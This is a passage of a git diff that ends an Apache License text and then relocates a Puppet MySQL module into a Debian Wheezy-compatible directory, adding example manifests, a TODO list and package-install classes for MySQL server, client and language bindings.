+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/modules/services/unix/database/mysql/NOTICE b/modules/services/unix/database/mysql_wheezy_compatible/mysql/NOTICE
similarity index 100%
rename from modules/services/unix/database/mysql/NOTICE
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/NOTICE
diff --git a/modules/services/unix/database/mysql/README.md b/modules/services/unix/database/mysql_wheezy_compatible/mysql/README.md
similarity index 100%
rename from modules/services/unix/database/mysql/README.md
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/README.md
diff --git a/modules/services/unix/database/mysql/Rakefile b/modules/services/unix/database/mysql_wheezy_compatible/mysql/Rakefile
similarity index 100%
rename from modules/services/unix/database/mysql/Rakefile
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/Rakefile
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO b/modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO
new file mode 100644
index 000000000..391329393
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO
@@ -0,0 +1,8 @@
+The best that I can tell is that this code traces back to David Schmitt. It has been forked many times since then :)
+
+1. you cannot add databases to an instance that has a root password
+2. you have to specify username as USER@BLAH or it cannot be found
+3. mysql_grant does not complain if user does not exist
+4. Needs support for pre-seeding on debian
+5. the types may need to take user/password
+6. rather or not to configure /etc/.my.cnf should be configurable
diff --git a/modules/services/unix/database/mysql/checksums.json b/modules/services/unix/database/mysql_wheezy_compatible/mysql/checksums.json
similarity index 100%
rename from modules/services/unix/database/mysql/checksums.json
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/checksums.json
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp
new file mode 100644
index 000000000..4bdf8043b
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp
@@ -0,0 +1,9 @@
+class { 'mysql::server':
+ root_password => 'password'
+}
+
+class { 'mysql::server::backup':
+ backupuser => 'myuser',
+ backuppassword => 'mypassword',
+ backupdir => '/tmp/backups',
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp
new file mode 100644
index 000000000..e4e325c61
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp
@@ -0,0 +1,3 @@
+class { 'mysql::bindings':
+ php_enable => true,
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp
new file mode 100644
index 000000000..0fc009a6d
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp
@@ -0,0 +1 @@
+class { 'mysql::java':}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp
new file mode 100644
index 000000000..47a328cff
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp
@@ -0,0 +1,17 @@
+class { 'mysql::server':
+ root_password => 'password'
+}
+mysql::db{ ['test1', 'test2', 'test3']:
+ ensure => present,
+ charset => 'utf8',
+ require => Class['mysql::server'],
+}
+mysql::db{ 'test4':
+ ensure => present,
+ charset => 'latin1',
+}
+mysql::db{ 'test5':
+ ensure => present,
+ charset => 'binary',
+ collate => 'binary',
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp
new file mode 100644
index 000000000..43c619f8d
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp
@@ -0,0 +1,17 @@
+class { 'mysql::server':
+ root_password => 'password'
+}
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => 'mypass',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+}
+mysql::db { "mydb_${fqdn}":
+ user => 'myuser',
+ password => 'mypass',
+ dbname => 'mydb',
+ host => $::fqdn,
+ grant => ['SELECT', 'UPDATE'],
+ tag => $domain,
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp
new file mode 100644
index 000000000..20fe78d6a
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp
@@ -0,0 +1,5 @@
+mysql_grant{'test1@localhost/redmine.*':
+ user => 'test1@localhost',
+ table => 'redmine.*',
+ privileges => ['UPDATE'],
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp
new file mode 100644
index 000000000..d80275972
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp
@@ -0,0 +1,23 @@
+class { 'mysql::server':
+ root_password => 'password'
+}
+
+$validate_password_soname = $::osfamily ? {
+ windows => 'validate_password.dll',
+ default => 'validate_password.so'
+}
+
+mysql::plugin { 'validate_password':
+ ensure => present,
+ soname => $validate_password_soname,
+}
+
+$auth_socket_soname = $::osfamily ? {
+ windows => 'auth_socket.dll',
+ default => 'auth_socket.so'
+}
+
+mysql::plugin { 'auth_socket':
+ ensure => present,
+ soname => $auth_socket_soname,
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp
new file mode 100644
index 000000000..c47186866
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp
@@ -0,0 +1,32 @@
+$mysql_root_pw = 'password'
+
+class { 'mysql::server':
+ root_password => 'password',
+}
+
+mysql_user{ 'redmine@localhost':
+ ensure => present,
+ password_hash => mysql_password('redmine'),
+ require => Class['mysql::server'],
+}
+
+mysql_user{ 'dan@localhost':
+ ensure => present,
+ password_hash => mysql_password('blah')
+}
+
+mysql_user{ 'dan@%':
+ ensure => present,
+ password_hash => mysql_password('blah'),
+}
+
+mysql_user{ 'socketplugin@%':
+ ensure => present,
+ plugin => 'unix_socket',
+}
+
+mysql_user{ 'socketplugin@%':
+ ensure => present,
+ password_hash => mysql_password('blah'),
+ plugin => 'mysql_native_password',
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp
new file mode 100644
index 000000000..1bbd3ab2f
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp
@@ -0,0 +1 @@
+include mysql::bindings::perl
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp
new file mode 100644
index 000000000..49ddddb60
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp
@@ -0,0 +1 @@
+class { 'mysql::bindings::python':}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp
new file mode 100644
index 000000000..671725630
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp
@@ -0,0 +1 @@
+include mysql::bindings::ruby
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp
new file mode 100644
index 000000000..8afdd00d2
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp
@@ -0,0 +1,3 @@
+class { 'mysql::server':
+ root_password => 'password',
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp
new file mode 100644
index 000000000..cb59f4f64
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp
@@ -0,0 +1,4 @@
+class { 'mysql::server':
+ root_password => 'password',
+}
+class { 'mysql::server::account_security': }
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp
new file mode 100644
index 000000000..2cde11b0b
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp
@@ -0,0 +1,3 @@
+mysql::server::config { 'testfile':
+
+}
diff --git a/modules/services/unix/database/mysql/lib/facter/mysql_server_id.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_server_id.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/facter/mysql_server_id.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_server_id.rb
diff --git a/modules/services/unix/database/mysql/lib/facter/mysql_version.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_version.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/facter/mysql_version.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_version.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_dirname.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_dirname.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_password.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_password.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_table_exists.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_table_exists.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_table_exists.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_table_exists.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_database/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_database/mysql.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_datadir/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_datadir/mysql.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_grant/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_grant/mysql.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_plugin/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_plugin/mysql.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_user/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_user/mysql.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_database.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_database.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_database.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_database.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_datadir.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_datadir.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_datadir.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_datadir.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_grant.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_grant.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_grant.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_grant.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_plugin.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_plugin.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_plugin.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_plugin.rb
diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_user.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_user.rb
similarity index 100%
rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_user.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_user.rb
diff --git a/modules/services/unix/database/mysql/manifests/backup/mysqlbackup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqlbackup.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/backup/mysqlbackup.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqlbackup.pp
diff --git a/modules/services/unix/database/mysql/manifests/backup/mysqldump.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqldump.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/backup/mysqldump.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqldump.pp
diff --git a/modules/services/unix/database/mysql/manifests/backup/xtrabackup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/xtrabackup.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/backup/xtrabackup.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/xtrabackup.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings/client_dev.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/client_dev.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/client_dev.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/client_dev.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings/daemon_dev.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/daemon_dev.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/daemon_dev.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/daemon_dev.pp
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp
new file mode 100644
index 000000000..db93ac282
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp
@@ -0,0 +1,11 @@
+# Private class
+class mysql::bindings::java {
+
+ package { 'mysql-connector-java':
+ ensure => $mysql::bindings::java_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::java_package_name,
+ provider => $mysql::bindings::java_package_provider,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp
new file mode 100644
index 000000000..99d429c46
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp
@@ -0,0 +1,11 @@
+# Private class
+class mysql::bindings::perl {
+
+ package{ 'perl_mysql':
+ ensure => $mysql::bindings::perl_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::perl_package_name,
+ provider => $mysql::bindings::perl_package_provider,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp
new file mode 100644
index 000000000..9af706962
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp
@@ -0,0 +1,11 @@
+# Private class: See README.md
+class mysql::bindings::php {
+
+ package { 'php-mysql':
+ ensure => $mysql::bindings::php_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::php_package_name,
+ provider => $mysql::bindings::php_package_provider,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp
new file mode 100644
index 000000000..a44c8fa15
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp
@@ -0,0 +1,11 @@
+# Private class
+class mysql::bindings::python {
+
+ package { 'python-mysqldb':
+ ensure => $mysql::bindings::python_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::python_package_name,
+ provider => $mysql::bindings::python_package_provider,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp
new file mode 100644
index 000000000..d431efedc
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp
@@ -0,0 +1,11 @@
+# Private class
+class mysql::bindings::ruby {
+
+ package{ 'ruby_mysql':
+ ensure => $mysql::bindings::ruby_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::ruby_package_name,
+ provider => $mysql::bindings::ruby_package_provider,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql/manifests/client.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/client.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client.pp
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp
new file mode 100644
index 000000000..26e5ec276
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp
@@ -0,0 +1,14 @@
+# See README.md.
+class mysql::client::install {
+
+ if $mysql::client::package_manage {
+
+ package { 'mysql_client':
+ ensure => $mysql::client::package_ensure,
+ install_options => $mysql::client::install_options,
+ name => $mysql::client::package_name,
+ }
+
+ }
+
+}
diff --git a/modules/services/unix/database/mysql/manifests/db.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/db.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/db.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/db.pp
diff --git a/modules/services/unix/database/mysql/manifests/params.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/params.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/params.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/params.pp
diff --git a/modules/services/unix/database/mysql/manifests/server.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server.pp
diff --git a/modules/services/unix/database/mysql/manifests/server/account_security.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/account_security.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/account_security.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/account_security.pp
diff --git a/modules/services/unix/database/mysql/manifests/server/backup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/backup.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/backup.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/backup.pp
diff --git a/modules/services/unix/database/mysql/manifests/server/config.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/config.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/config.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/config.pp
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp
new file mode 100644
index 000000000..3b9601def
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp
@@ -0,0 +1,13 @@
+#
+class mysql::server::install {
+
+ if $mysql::server::package_manage {
+
+ package { 'mysql-server':
+ ensure => $mysql::server::package_ensure,
+ install_options => $mysql::server::install_options,
+ name => $mysql::server::package_name,
+ }
+ }
+
+}
